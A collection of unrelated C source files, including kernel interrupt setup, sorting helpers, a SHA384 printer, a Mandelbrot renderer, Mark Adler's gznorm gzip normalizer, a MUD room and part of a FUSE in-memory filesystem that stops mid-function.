//idt_entries[0x2C].always0 = 0; //idt_entries[0x2C].flags = 0x8E; load_idt((u32int)&idt_ptr); //finally load the IDT by assembly function write_port(0x20,0x11); //ICW1 - begin PIC initialization write_port(0xA0,0x11); write_port(0x21,0x20); //ICW2 - remap offset address of IDT write_port(0xA1,0x28); write_port(0x21,0x04); //ICW3 - setup cascading write_port(0xA1,0x02); write_port(0x21,0x01); //ICW4 - environment info write_port(0xA1,0x01); write_port(0x21,0xFF); write_port(0xA1,0xFF); } void pagefault_handler_main(void){ scr_write("FATAL EXCEPTION: Page fault"); } void double_fault_handler_main(void){ scr_write("PANIC: Double fault"); }
C
#include <stdio.h> enum colors {RED=190, GREEN=900, YELLOW, BLUE}; int main () { int input = 1; switch (input) { case RED: printf("RED selected\n"); break; case GREEN: /* fall through */ printf("GREEN selected\n"); break; case YELLOW: printf("YELLOW selected\n"); break; case BLUE: printf("BLUE selected\n"); break; default: printf("Invalid input %d, range( %d to %d)\n", input, RED, BLUE); } return 0; }
C
#include <stdlib.h> #include <stdio.h> #include "order.h" int cmpInt(const void *v1, const void *v2) { const int v1_ = **((const int **)v1); const int v2_ = **((const int **)v2); return v1_ < v2_ ? -1 : v1_ > v2_; } int cmpDouble(const void *v1, const void *v2) { const double v1_ = **((const double **)v1); const double v2_ = **((const double **)v2); return v1_ < v2_ ? -1 : v1_ > v2_; } int cmpFloat(const void *v1, const void *v2) { const float v1_ = **((const float **)v1); const float v2_ = **((const float **)v2); return v1_ < v2_ ? -1 : v1_ > v2_; } /** * Order an array and return the index sequence of odered values. */ void order(void *array, size_t nitems, size_t size, int (*cmp)(const void *p1, const void *p2), size_t *result) { char *aa = array; void *pindex[nitems]; int i; for ( i = 0; i < nitems; i++) { pindex[i] = aa + size * i; } qsort(pindex, nitems, sizeof(*pindex), cmp); for ( i = 0; i < nitems; i++ ) { result[i] = ((char *)pindex[i] - aa ) / size; } }
C
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_ssl_sha384_mode.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: lmatvien <lmatvien@student.unit.ua> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2018/12/04 20:38:28 by lmatvien #+# #+# */ /* Updated: 2018/12/04 20:38:31 by lmatvien ### ########.fr */ /* */ /* ************************************************************************** */ #include "ft_ssl_sha384.h" #include "ft_printf.h" static void ft_sha384_print(UCHAR *block) { int i; i = 0; while (i < 48) ft_printf("%02x", block[i++]); ft_printf(" -"); } static void stream_r(uint8_t *str, size_t len, int fd, t_sha384 *box) { int st; UCHAR data[1024]; UCHAR block[64]; sha384_h_modifying(box, str, len); while ((st = read(fd, &data[0], 1024)) != 0) sha384_h_modifying(box, str, len); sha384_h_build(box, &block[0]); if (box->flag_m & 0x2 && fd == 0) ft_printf("%s", str); ft_sha384_print(&block[0]); if (!(box->flag_m & 0x8) || fd == 0 || (box->flag_m & 0x4)) ft_printf("\n", data); } void ft_ssl_sha384(uint8_t *data, size_t len, int fd, int flag_m) { t_sha384 box; int i; UCHAR block[64]; i = 0; sha384_v_init(&box.value_buff[0], &box.curr_byte, &box.mebit_len, &box.flag_m); if (fd == STRING_MODE) { sha384_h_modifying(&box, data, len); sha384_h_build(&box, &block[0]); if (!(flag_m & 0x8) && !(flag_m & 0x4)) ft_printf("SHA384 (\"%s\") = ", data); ft_sha384_print(&block[0]); if (flag_m & 0x8 && !(flag_m & 0x4)) ft_printf(" \"%s\"\n", data); else ft_printf("\n", data); } else stream_r(data, len, fd, &box); }
C
/* * MP2 - Linear Programming/Linear Optimization * Created by: Joshua Luke R. Cordova * Student Number: 2015-90760 */ #include "matrix.h" #include "string_ext.h" void print_args(int argc, char *argv[]); bool is_txt_file(char str[], size_t len); //int main(int argc, char *argv[]) int main() { //printf("argc = %d\n",argc); //print_args(argc, argv); /* if (argc == 2) { if (is_txt_file( argv[1], strlen(argv[1]) )) { printf("Attempting to open file\n"); FILE *fp = fopen(argv[1], "r"); if (!fp){ printf("Error: Unable to open file\n"); return -1; } else printf("Successfully opened %s\n", argv[1]); fclose(fp); } else printf("Please input a text file\n"); } else { printf("Usage: ./mp2 problem_file.txt\n"); } */ mat_t test_mat1 = {0, 0, NULL}; mat_t *mat_nav1 = &test_mat1; mat_malloc(mat_nav1, 3, 4); mat_nav1->matrix[0][0] = 23; mat_nav1->matrix[2][3] = 12; scale_mat(mat_nav1, 4); print_mat(mat_nav1); mat_t test_mat2 = {0, 0, NULL}; mat_t *mat_nav2 = &test_mat2; mat_malloc(mat_nav2, 3, 4); mat_nav2->matrix[2][0] = 45; mat_nav2->matrix[2][3] = 56; print_mat(mat_nav2); scale_mat(mat_nav2, 1/4); print_mat(mat_nav2); mat_t test_mat3 = {0, 0, NULL}; mat_t *mat_nav3 = &test_mat3; mat_malloc(mat_nav3, 3, 4); subt_mat(mat_nav1, mat_nav2, mat_nav3); printf("%zu\n", mat_nav3->i); print_mat(mat_nav3); mat_free(mat_nav1); mat_free(mat_nav2); mat_free(mat_nav3); return 0; } void print_args(int argc, char *argv[]) { int ctr; for (ctr = 0; ctr < argc - 1; ++ctr) { printf("argv[%d] = %s\n", ctr, argv[ctr]); } } /* bool is_txt_file(char str[], size_t len) { size_t pos; pos = str_search(str, '.', len); //printf("index of '.' = %zu\n", pos); if (pos != -1) { char *cp = &str[pos]; //puts(cp); if ( strncmp(cp, ".txt", strlen(".txt")) == 0 ) { // if str = ".txt" return true return true; } } return false; } */
C
#include "bmp.h" #include <math.h> #include <stdio.h> Bitmap * fractal(int hxres, int hyres) { /* Code adapted from http://www.physics.emory.edu/faculty/weeks/software/mand.html */ Bitmap * b = bm_create(hxres,hyres); double x,xx,y,cx,cy; int iteration,hx,hy; int itermax = 100; double magnify=1.0; for (hy=0;hy<hyres;hy++) { for (hx=0;hx<hxres;hx++) { cx = (((float)hx)/((float)hxres)-0.5)/magnify*3.0-0.7; cy = (((float)hy)/((float)hyres)-0.5)/magnify*3.0; x = 0.0; y = 0.0; for (iteration=0;iteration<itermax;iteration++) { xx = x*x-y*y+cx; y = 2.0*x*y+cy; x = xx; if (x*x+y*y>100.0) iteration = 999999; } if (iteration<99999){ bm_set(b,hx, hy, bm_rgb(0,255,255)); } else bm_set(b,hx, hy, bm_rgb(180,0,0)); } } return b; } int main(){ Bitmap * b = fractal(2000,2000); bm_save(b,"mandelbrot.bmp"); bm_free(b); return 0; }
C
/* gznorm.c -- normalize a gzip stream * Copyright (C) 2018 Mark Adler * For conditions of distribution and use, see copyright notice in zlib.h * Version 1.0 7 Oct 2018 Mark Adler */ // gznorm takes a gzip stream, potentially containing multiple members, and // converts it to a gzip stream with a single member. In addition the gzip // header is normalized, removing the file name and time stamp, and setting the // other header contents (XFL, OS) to fixed values. gznorm does not recompress // the data, so it is fast, but no advantage is gained from the history that // could be available across member boundaries. #include <stdio.h> // fread, fwrite, putc, fflush, ferror, fprintf, // vsnprintf, stdout, stderr, NULL, FILE #include <stdlib.h> // malloc, free #include <string.h> // strerror #include <errno.h> // errno #include <stdarg.h> // va_list, va_start, va_end #include "zlib.h" // inflateInit2, inflate, inflateReset, inflateEnd, // z_stream, z_off_t, crc32_combine, Z_NULL, Z_BLOCK, // Z_OK, Z_STREAM_END, Z_BUF_ERROR, Z_DATA_ERROR, // Z_MEM_ERROR #if defined(MSDOS) || defined(OS2) || defined(WIN32) || defined(__CYGWIN__) # include <fcntl.h> # include <io.h> # define SET_BINARY_MODE(file) setmode(fileno(file), O_BINARY) #else # define SET_BINARY_MODE(file) #endif #define local static // printf to an allocated string. Return the string, or NULL if the printf or // allocation fails. local char *aprintf(char *fmt, ...) { // Get the length of the result of the printf. va_list args; va_start(args, fmt); int len = vsnprintf(NULL, 0, fmt, args); va_end(args); if (len < 0) return NULL; // Allocate the required space and printf to it. char *str = malloc(len + 1); if (str == NULL) return NULL; va_start(args, fmt); vsnprintf(str, len + 1, fmt, args); va_end(args); return str; } // Return with an error, putting an allocated error message in *err. Doing an // inflateEnd() on an already ended state, or one with state set to Z_NULL, is // permitted. #define BYE(...) \ do { \ inflateEnd(&strm); \ *err = aprintf(__VA_ARGS__); \ return 1; \ } while (0) // Chunk size for buffered reads and for decompression. Twice this many bytes // will be allocated on the stack by gzip_normalize(). Must fit in an unsigned. #define CHUNK 16384 // Read a gzip stream from in and write an equivalent normalized gzip stream to // out. If given no input, an empty gzip stream will be written. If successful, // 0 is returned, and *err is set to NULL. On error, 1 is returned, where the // details of the error are returned in *err, a pointer to an allocated string. // // The input may be a stream with multiple gzip members, which is converted to // a single gzip member on the output. Each gzip member is decompressed at the // level of deflate blocks. This enables clearing the last-block bit, shifting // the compressed data to concatenate to the previous member's compressed data, // which can end at an arbitrary bit boundary, and identifying stored blocks in // order to resynchronize those to byte boundaries. The deflate compressed data // is terminated with a 10-bit empty fixed block. If any members on the input // end with a 10-bit empty fixed block, then that block is excised from the // stream. This avoids appending empty fixed blocks for every normalization, // and assures that gzip_normalize applied a second time will not change the // input. The pad bits after stored block headers and after the final deflate // block are all forced to zeros. local int gzip_normalize(FILE *in, FILE *out, char **err) { // initialize the inflate engine to process a gzip member z_stream strm; strm.zalloc = Z_NULL; strm.zfree = Z_NULL; strm.opaque = Z_NULL; strm.avail_in = 0; strm.next_in = Z_NULL; if (inflateInit2(&strm, 15 + 16) != Z_OK) BYE("out of memory"); // State while processing the input gzip stream. enum { // BETWEEN -> HEAD -> BLOCK -> TAIL -> BETWEEN -> ... BETWEEN, // between gzip members (must end in this state) HEAD, // reading a gzip header BLOCK, // reading deflate blocks TAIL // reading a gzip trailer } state = BETWEEN; // current component being processed unsigned long crc = 0; // accumulated CRC of uncompressed data unsigned long len = 0; // accumulated length of uncompressed data unsigned long buf = 0; // deflate stream bit buffer of num bits int num = 0; // number of bits in buf (at bottom) // Write a canonical gzip header (no mod time, file name, comment, extra // block, or extra flags, and OS is marked as unknown). fwrite("\x1f\x8b\x08\0\0\0\0\0\0\xff", 1, 10, out); // Process the gzip stream from in until reaching the end of the input, // encountering invalid input, or experiencing an i/o error. int more; // true if not at the end of the input do { // State inside this loop. unsigned char *put; // next input buffer location to process int prev; // number of bits from previous block in // the bit buffer, or -1 if not at the // start of a block unsigned long long memb; // uncompressed length of member size_t tail; // number of trailer bytes read (0..8) unsigned long part; // accumulated trailer component // Get the next chunk of input from in. unsigned char dat[CHUNK]; strm.avail_in = fread(dat, 1, CHUNK, in); if (strm.avail_in == 0) break; more = strm.avail_in == CHUNK; strm.next_in = put = dat; // Run that chunk of input through the inflate engine to exhaustion. do { // At this point it is assured that strm.avail_in > 0. // Inflate until the end of a gzip component (header, deflate // block, trailer) is reached, or until all of the chunk is // consumed. The resulting decompressed data is discarded, though // the total size of the decompressed data in each member is // tracked, for the calculation of the total CRC. do { // inflate and handle any errors unsigned char scrap[CHUNK]; strm.avail_out = CHUNK; strm.next_out = scrap; int ret = inflate(&strm, Z_BLOCK); if (ret == Z_MEM_ERROR) BYE("out of memory"); if (ret == Z_DATA_ERROR) BYE("input invalid: %s", strm.msg); if (ret != Z_OK && ret != Z_BUF_ERROR && ret != Z_STREAM_END) BYE("internal error"); // Update the number of uncompressed bytes generated in this // member. The actual count (not modulo 2^32) is required to // correctly compute the total CRC. unsigned got = CHUNK - strm.avail_out; memb += got; if (memb < got) BYE("overflow error"); // Continue to process this chunk until it is consumed, or // until the end of a component (header, deflate block, or // trailer) is reached. } while (strm.avail_out == 0 && (strm.data_type & 0x80) == 0); // Since strm.avail_in was > 0 for the inflate call, some input was // just consumed. It is therefore assured that put < strm.next_in. // Disposition the consumed component or part of a component. switch (state) { case BETWEEN: state = HEAD; // Fall through to HEAD when some or all of the header is // processed. case HEAD: // Discard the header. if (strm.data_type & 0x80) { // End of header reached -- deflate blocks follow. put = strm.next_in; prev = num; memb = 0; state = BLOCK; } break; case BLOCK: // Copy the deflate stream to the output, but with the // last-block-bit cleared. Re-synchronize stored block // headers to the output byte boundaries. The bytes at // put..strm.next_in-1 is the compressed data that has been // processed and is ready to be copied to the output. // At this point, it is assured that new compressed data is // available, i.e., put < strm.next_in. If prev is -1, then // that compressed data starts in the middle of a deflate // block. If prev is not -1, then the bits in the bit // buffer, possibly combined with the bits in *put, contain // the three-bit header of the new deflate block. In that // case, prev is the number of bits from the previous block // that remain in the bit buffer. Since num is the number // of bits in the bit buffer, we have that num - prev is // the number of bits from the new block currently in the // bit buffer. // If strm.data_type & 0xc0 is 0x80, then the last byte of // the available compressed data includes the last bits of // the end of a deflate block. In that case, that last byte // also has strm.data_type & 0x1f bits of the next deflate // block, in the range 0..7. If strm.data_type & 0xc0 is // 0xc0, then the last byte of the compressed data is the // end of the deflate stream, followed by strm.data_type & // 0x1f pad bits, also in the range 0..7. // Set bits to the number of bits not yet consumed from the // last byte. If we are at the end of the block, bits is // either the number of bits in the last byte belonging to // the next block, or the number of pad bits after the // final block. In either of those cases, bits is in the // range 0..7. ; // (required due to C syntax oddity) int bits = strm.data_type & 0x1f; if (prev != -1) { // We are at the start of a new block. Clear the last // block bit, and check for special cases. If it is a // stored block, then emit the header and pad to the // next byte boundary. If it is a final, empty fixed // block, then excise it. // Some or all of the three header bits for this block // may already be in the bit buffer. Load any remaining // header bits into the bit buffer. if (num - prev < 3) { buf += (unsigned long)*put++ << num; num += 8; } // Set last to have a 1 in the position of the last // block bit in the bit buffer. unsigned long last = (unsigned long)1 << prev; if (((buf >> prev) & 7) == 3) { // This is a final fixed block. Load at least ten // bits from this block, including the header, into // the bit buffer. We already have at least three, // so at most one more byte needs to be loaded. if (num - prev < 10) { if (put == strm.next_in) // Need to go get and process more input. // We'll end up back here to finish this. break; buf += (unsigned long)*put++ << num; num += 8; } if (((buf >> prev) & 0x3ff) == 3) { // That final fixed block is empty. Delete it // to avoid adding an empty block every time a // gzip stream is normalized. num = prev; buf &= last - 1; // zero the pad bits } } else if (((buf >> prev) & 6) == 0) { // This is a stored block. Flush to the next // byte boundary after the three-bit header. num = (prev + 10) & ~7; buf &= last - 1; // zero the pad bits } // Clear the last block bit. buf &= ~last; // Write out complete bytes in the bit buffer. while (num >= 8) { putc(buf, out); buf >>= 8; num -= 8; } // If no more bytes left to process, then we have // consumed the byte that had bits from the next block. if (put == strm.next_in) bits = 0; } // We are done handling the deflate block header. Now copy // all or almost all of the remaining compressed data that // has been processed so far. Don't copy one byte at the // end if it contains bits from the next deflate block or // pad bits at the end of a deflate block. // mix is 1 if we are at the end of a deflate block, and if // some of the bits in the last byte follow this block. mix // is 0 if we are in the middle of a deflate block, if the // deflate block ended on a byte boundary, or if all of the // compressed data processed so far has been consumed. int mix = (strm.data_type & 0x80) && bits; // Copy all of the processed compressed data to the output, // except for the last byte if it contains bits from the // next deflate block or pad bits at the end of the deflate // stream. Copy the data after shifting in num bits from // buf in front of it, leaving num bits from the end of the // compressed data in buf when done. unsigned char *end = strm.next_in - mix; if (put < end) { if (num) // Insert num bits from buf before the data being // copied. do { buf += (unsigned)(*put++) << num; putc(buf, out); buf >>= 8; } while (put < end); else { // No shifting needed -- write directly. fwrite(put, 1, end - put, out); put = end; } } // Process the last processed byte if it wasn't written. if (mix) { // Load the last byte into the bit buffer. buf += (unsigned)(*put++) << num; num += 8; if (strm.data_type & 0x40) { // We are at the end of the deflate stream and // there are bits pad bits. Discard the pad bits // and write a byte to the output, if available. // Leave the num bits left over in buf to prepend // to the next deflate stream. num -= bits; if (num >= 8) { putc(buf, out); num -= 8; buf >>= 8; } // Force the pad bits in the bit buffer to zeros. buf &= ((unsigned long)1 << num) - 1; // Don't need to set prev here since going to TAIL. } else // At the end of an internal deflate block. Leave // the last byte in the bit buffer to examine on // the next entry to BLOCK, when more bits from the // next block will be available. prev = num - bits; // number of bits in buffer // from current block } // Don't have a byte left over, so we are in the middle of // a deflate block, or the deflate block ended on a byte // boundary. Set prev appropriately for the next entry into // BLOCK. else if (strm.data_type & 0x80) // The block ended on a byte boundary, so no header // bits are in the bit buffer. prev = num; else // In the middle of a deflate block, so no header here. prev = -1; // Check for the end of the deflate stream. if ((strm.data_type & 0xc0) == 0xc0) { // That ends the deflate stream on the input side, the // pad bits were discarded, and any remaining bits from // the last block in the stream are saved in the bit // buffer to prepend to the next stream. Process the // gzip trailer next. tail = 0; part = 0; state = TAIL; } break; case TAIL: // Accumulate available trailer bytes to update the total // CRC and the total uncompressed length. do { part = (part >> 8) + ((unsigned long)(*put++) << 24); tail++; if (tail == 4) { // Update the total CRC. z_off_t len2 = memb; if (len2 < 0 || (unsigned long long)len2 != memb) BYE("overflow error"); crc = crc ? crc32_combine(crc, part, len2) : part; part = 0; } else if (tail == 8) { // Update the total uncompressed length. (It's ok // if this sum is done modulo 2^32.) len += part; // At the end of a member. Set up to inflate an // immediately following gzip member. (If we made // it this far, then the trailer was valid.) if (inflateReset(&strm) != Z_OK) BYE("internal error"); state = BETWEEN; break; } } while (put < strm.next_in); break; } // Process the input buffer until completely consumed. } while (strm.avail_in > 0); // Process input until end of file, invalid input, or i/o error. } while (more); // Done with the inflate engine. inflateEnd(&strm); // Verify the validity of the input. if (state != BETWEEN) BYE("input invalid: incomplete gzip stream"); // Write the remaining deflate stream bits, followed by a terminating // deflate fixed block. buf += (unsigned long)3 << num; putc(buf, out); putc(buf >> 8, out); if (num > 6) putc(0, out); // Write the gzip trailer, which is the CRC and the uncompressed length // modulo 2^32, both in little-endian order. putc(crc, out); putc(crc >> 8, out); putc(crc >> 16, out); putc(crc >> 24, out); putc(len, out); putc(len >> 8, out); putc(len >> 16, out); putc(len >> 24, out); fflush(out); // Check for any i/o errors. if (ferror(in) || ferror(out)) BYE("i/o error: %s", strerror(errno)); // All good! *err = NULL; return 0; } // Normalize the gzip stream on stdin, writing the result to stdout. int main(void) { // Avoid end-of-line conversions on evil operating systems. SET_BINARY_MODE(stdin); SET_BINARY_MODE(stdout); // Normalize from stdin to stdout, returning 1 on error, 0 if ok. char *err; int ret = gzip_normalize(stdin, stdout, &err); if (ret) fprintf(stderr, "gznorm error: %s\n", err); free(err); return ret; }
C
#include "path.h" inherit "/std/room"; void setup() { set_short("Bedroom."); set_long(" This is where all the commoners and servants sleep. " "It is a rather crude and plain looking room. Since " "there is no space for beds, everybody is forced to sleep " "on the floor. The bedrolls are all piled in a corner " "of the room. The walls have some writings spread all " "through them.\n\n"); add_item("walls", "Looking at the walls, you can read writings " "like: PRAISE CYRCIA, KILL THEM ELVES and CHAOS IS OUR " "WAY.\n\n"); set_light(20); add_clone(PATH+"child", 1); add_exit("west", PATH+"drow.c"); }
C
#include <stdio.h> #define SIZE 100000 int A[SIZE]; int key[SIZE]; void bubbleSort(int arr[]); int BSearch(int arr[], int, int); int main(void) { int num1, num2; scanf("%d", &num1); for (int i = 0; i < num1; i++) { int ins; scanf("%d", &ins); A[i] = ins; } scanf("%d", &num2); for (int i = 0; i < num2; i++) { int ins; scanf("%d", &ins); key[i] = ins; } bubbleSort(A); for (int i = 0; i < num2; i++) { printf("%d\n", BSearch(A, key[i], num1)); } } void bubbleSort(int arr[]) { for (int i = 0; i < sizeof(arr); i++) { for (int j = 0; j < sizeof(arr) - i; j++) { if (arr[i] > arr[j + 1]) { int temp = arr[j]; arr[j] = arr[j + 1]; arr[j + 1] = temp; } } } } int BSearch(int arr[], int target, int size) { int low = 0; int high = size - 1; int mid = 0; while(low <= high) { mid = (low + high) / 2; if (arr[mid] == target) return 1; if (arr[low] == target) return 1; if (arr[high] == target) return 1; else if (arr[mid] > target) high = mid - 1; else low = mid + 1; } return 0; }
C
#include "disk1.h" //initializes superblocks and blocks int initialize() { int i; super.totalblocks=T_BLOCKS; super.totalfreeb=T_BLOCKS; for(i=0;i<super.totalblocks;i++) { super.freeblocknos[i]=i; } blocks=(struct block **)malloc(sizeof(struct block *)*(super.totalblocks)); for(i=0;i<super.totalblocks;i++) { blocks[i]=(struct block *)malloc(sizeof(struct block)); blocks[i]->valid=-1; blocks[i]->blockno=i; blocks[i]->data=(void *)malloc(sizeof(char)*BLOCK_SIZE); blocks[i]->current_size=0; blocks[i]->size=BLOCK_SIZE; } return 0; } //given a block number and offset, read from the block int read_block(int blocknr, char *buf,off_t new_off,off_t off,size_t n) { if(blocknr>T_BLOCKS) return -1; if(n>BLOCK_SIZE) return -1; memcpy(buf+off,(char *) (blocks[blocknr]->data)+new_off,n); return 0; } //given a block number and offset, write in the block int write_block(int blocknr,const char *buf,off_t new_off,off_t off,size_t n) { printf("in writeb %d %ld\n",blocknr,n); if(blocknr>T_BLOCKS) return -1; if(n>BLOCK_SIZE) return -1; memcpy((blocks[blocknr]->data)+new_off, buf+off,n); return 0; } //given a path, search for the file. //If file is not in the root (s = 1) it will search in the directory //If s = 0, it returns the directory structure containing that file int searchroot(const char *path,struct file **file_t,struct directry **dir,int s) { printf("In searchroot\n"); if(strcmp(path,"/")==0) return 0; const char *name; if(path[0]=='/') name=path+1; else name=path; int i; for(i=0;i<fileroot->filecount;i++) { if(strcmp(name,fileroot->files[i]->fname)==0) { (*file_t)=fileroot->files[i]; return 1; } } int namelen = 0; const char *name_end = name; while(*name_end != '\0' && *name_end != '/') { name_end++; namelen++; } struct directry * d =(struct directry *)malloc(sizeof(struct directry)); d=fileroot->dir; for(i=0;i<fileroot->dircount;i++) { if(strncmp(d->dname,name,namelen)==0) { if(s==1) return searchdir(d,name_end,file_t); else { strcpy((*file_t)->fname,name_end); (*dir)=d; return 2; } } else d=d->next; } return -1; } //search for the file in the directory int searchdir(struct directry * d,const char *name,struct file **file_t) { int i; if(name[0]=='/') name=name+1; for(i=0;i<d->filecount;i++) { if(strcmp(name,d->f[i]->fname)==0) { (*file_t)=d->f[i]; return 1; } } return -1; } //Creates a directory static int file_mkdir(const char *path, mode_t mode) { if(strcmp(path,"/")==0) return -1; const char *name; if(path[0]=='/') name=path+1; else name=path; //getting the directory name //Initializing the directory struct directry *temp=(struct directry *)malloc(sizeof(struct directry)); memset(temp, 0, sizeof(struct directry)); strcpy(temp->dname,name); temp->dirId=fileroot->dircount; temp->mode=S_IFDIR | mode; temp->filecount=0; temp->next=NULL; temp->gid=fileroot->gid; temp->uid=fileroot->uid; struct stat *stbuf =(struct stat*)malloc(sizeof(struct stat)); //Link the directory to the data structure if(fileroot->dircount==0) { fileroot->dir=(struct directry *)malloc(sizeof(struct directry)); fileroot->dir=temp; fileroot->dircount=(fileroot->dircount)+1; stbuf->st_uid=temp->uid; stbuf->st_gid=temp->gid; memset(stbuf, 0, sizeof(struct stat)); stbuf->st_mode = temp->mode; stbuf->st_nlink = 0; return 0; } else { struct directry *t=(struct directry *)malloc(sizeof(struct directry)); t=fileroot->dir; while(t->next!=NULL) t=t->next; t->next=(struct directry *)malloc(sizeof(struct directry)); t->next=temp; fileroot->dircount=(fileroot->dircount)+1; stbuf->st_uid=temp->uid; stbuf->st_gid=temp->gid; memset(stbuf, 0, sizeof(struct stat)); stbuf->st_mode = temp->mode; stbuf->st_nlink = 0; return 0; } return -errno; } //Open a file static int file_open(const char *path, struct fuse_file_info *fi) { struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(path,&ft,&d,1); if(flag==1) { ft->fd_count++; fi->fh = (uint64_t) ft; return 0; } return -ENOENT; } //Get file attributes static int file_getattr(const char *path, struct stat *stbuf,struct fuse_file_info *fi) { printf("Entering getattr....\n"); struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(path,&ft,&d,1); printf("%d\n",flag); if(flag==0)//root { printf("In Root\n"); stbuf->st_mode = fileroot->mode; stbuf->st_uid = fileroot->uid; stbuf->st_gid = fileroot->gid; return 0; } else if(flag==1)//root files in the root { printf("Files in Root\n"); stbuf->st_mode = ft->fil->mode; stbuf->st_size = ft->fil->size; stbuf->st_blocks = ft->fil->blockcount; stbuf->st_uid = ft->fil->uid; stbuf->st_gid = ft->fil->gid; return 0; } else //files within a directory or a root directory { printf("File in a directory or a directory in the Root\n"); struct directry *t=(struct directry*)malloc(sizeof(struct directry)); const char * name=path; int count=0; while(*name!='\0') { if(*name=='/') count++; name++; } if(count==0 || count==1){ int flag1=searchroot(path,&ft,&t,0); if(flag1==2) { stbuf->st_mode = t->mode; stbuf->st_uid = t->uid; stbuf->st_gid = t->gid; return 0; } else return -ENOENT; } else { int flag1=searchroot(path,&ft,&t,0); if(flag1==2) { struct file *f1=(struct file *)malloc(sizeof(struct file)); int fl=searchdir(t,ft->fname,&f1); if(fl==-1) return -ENOENT; else { stbuf->st_mode = f1->fil->mode; stbuf->st_size = f1->fil->size; stbuf->st_blocks = f1->fil->blockcount; stbuf->st_uid = f1->fil->uid; stbuf->st_gid = f1->fil->gid; return 0; } } } } return 0; } //Remove directory int file_rmdir(const char *path) { if(path[0] == '/') { path = path+1; } struct directry *prev = (struct directry *)malloc(sizeof(struct directry)); struct directry *tmp = (struct directry *)malloc(sizeof(struct directry)); tmp=fileroot->dir; prev=NULL; while(tmp != NULL) { if((strcmp(tmp->dname,path) == 0)){ break; } prev = tmp; tmp = tmp -> next; } if(tmp != NULL) { if(tmp->filecount == 0) { if(prev!=NULL){ prev->next = tmp->next; fileroot->dircount = fileroot->dircount-1; } else { fileroot->dir=NULL; fileroot->dircount =fileroot->dircount- 1; } printf("Directory removed..\n"); return 0; } else{ int i; for(i=0;i<tmp->filecount;i++){ file_unlink(tmp->f[i]->fname); } if(prev!=NULL){ prev->next = tmp->next; fileroot->dircount = fileroot->dircount-1; } else { fileroot->dir=NULL; fileroot->dircount =fileroot->dircount- 1; } printf("Directory removed..\n"); return 0; } } printf("Cant remove directry. Its not empty\n"); return -errno; } //permissions of a file static int file_chmod(const char* oldpath,mode_t permissions) { int chk=0,flag=0; printf("In chmod...\n"); printf("Oldpath = %s\n",oldpath); struct file*f=(struct file*)malloc(sizeof(struct file)); struct directry*d=(struct directry*)malloc(sizeof(struct directry)); flag = searchroot(oldpath,&f,&d,0); if(flag==-1) { printf("Given pathway doesn't exist....\n"); return -ENOSYS; } struct file*ft = malloc(sizeof(struct file)); if(flag==2&&strcmp(d->dname,strrchr(oldpath,'/')+1)==0) { d->mode=S_IFDIR|permissions; return 0; } if(flag==2) { searchdir(d,f->fname,&ft); f=ft; } f->fil->mode=S_IFREG|permissions; printf("chmod completed - %s.....\n",f->fname); return 0; } static int file_truncate(const char* oldpath,off_t offset) { if(offset<0) return -1; int chk=0,flag=0; printf("In trunc...\n"); printf("Oldpath = %s\n",oldpath); struct file*f=(struct file*)malloc(sizeof(struct file)); struct directry*d=(struct directry*)malloc(sizeof(struct directry)); flag = searchroot(oldpath,&f,&d,0); if(flag==-1) { printf("Given pathway doesn't exist....\n"); return -ENOSYS; } struct file*ft = malloc(sizeof(struct file)); if(flag==2) { searchdir(d,f->fname,&ft); free(f); f=ft; } if(offset>f->fil->size) { printf("offset too large\n"); return -1; } f->fil->offset=offset; printf("trunc completed - %s.....\n",f->fname); return 0; } //renames a file static int file_rename(const char* oldpath,const char* newpath) { int chk=0; char*temp1=(char*)malloc(sizeof(char)*strlen(oldpath)+1),*temp2=(char*)malloc(sizeof(char)*strlen(newpath)+1); strcpy(temp1,oldpath); strcpy(temp2,newpath); printf("In rename....\n"); char* token = strtok(temp1, "/"); while (token != NULL) { chk++; token = strtok(NULL, "/"); } int chk2=0; token = strtok(temp2, "/"); while (token != NULL) { chk2++; token = strtok(NULL, "/"); } if(chk!=chk2) { printf("Pathways don't match....\n"); return -ENOSYS; } printf("Oldpath = %s\n",oldpath); struct file*f=(struct file*)malloc(sizeof(struct file)); struct directry*d=(struct directry*)malloc(sizeof(struct directry)); int flag = searchroot(newpath,&f,&d,1); flag = searchroot(oldpath,&f,&d,0); if(flag==-1) { printf("Given pathway doesn't exist....\n"); return -ENOSYS; } struct file*ft = malloc(sizeof(struct file)); if(flag==2&&strcmp(d->dname,strrchr(oldpath,'/')+1)!=0) { searchdir(d,f->fname,&ft); free(f); f=ft; } else if(flag==2) { strcpy(d->dname,strrchr(newpath,'/')+1); return 0; } char *last = strrchr(newpath, '/'); if (last != NULL) { strcpy(f->fname, last+1); printf("Rename completed - %s.....\n",f->fname); return 0; } printf("Unknown Error.....\n"); return -errno; } //Remove a file int file_unlink(const char *path) { const char * name=path; int count=0; while(*name!='\0') { if(*name=='/') count++; name++; } printf("count %d\n",count); if(count==0 || count==1) //file is in root { if(path[0] == '/') { path = path+1; } int i; for(i = 0; i < fileroot->filecount ; i++) { if(strcmp(fileroot->files[i]->fname,path)==0) break; } if(i >= fileroot->filecount) return -errno; struct fileinfo *fd = fileroot->files[i]->fil; int j; for(j = 0 ; j < fd->blockcount; j++) { if(j<0) continue; super.freeblocknos[super.totalfreeb++]=fd->blockno[j]; //freeing the blocks allocated to the file blocks[fd->blockno[j]]->current_size = 0; } if(i == fileroot->filecount-1){ fileroot->filecount = fileroot->filecount-1; printf("File Deleted..\n"); return 0; } else { fileroot->files[i] = fileroot->files[fileroot->filecount-1]; fileroot->filecount = fileroot->filecount-1; printf("File Deleted..\n"); return 0; } printf("File Deletion failed..\n"); return -errno; } else //file is in a directory { struct file *ft=(struct file *)malloc(sizeof(struct file)); struct directry *d=(struct directry*)malloc(sizeof(struct directry)); int flag=searchroot(path,&ft,&d,0); if(flag!=2) { printf("File Deletion failed..\n"); return -errno; } int i; const char *p=ft->fname; if(p[0]=='/') p=p+1; for(i = 0; i < d->filecount ; i++) { if(strcmp(d->f[i]->fname,p)==0) break; } if(i >= d->filecount) return -errno; struct fileinfo *fd = d->f[i]->fil; int j; for(j = 0 ; j < fd->blockcount; j++) { if(j<0) continue; super.freeblocknos[super.totalfreeb++]=fd->blockno[j]; 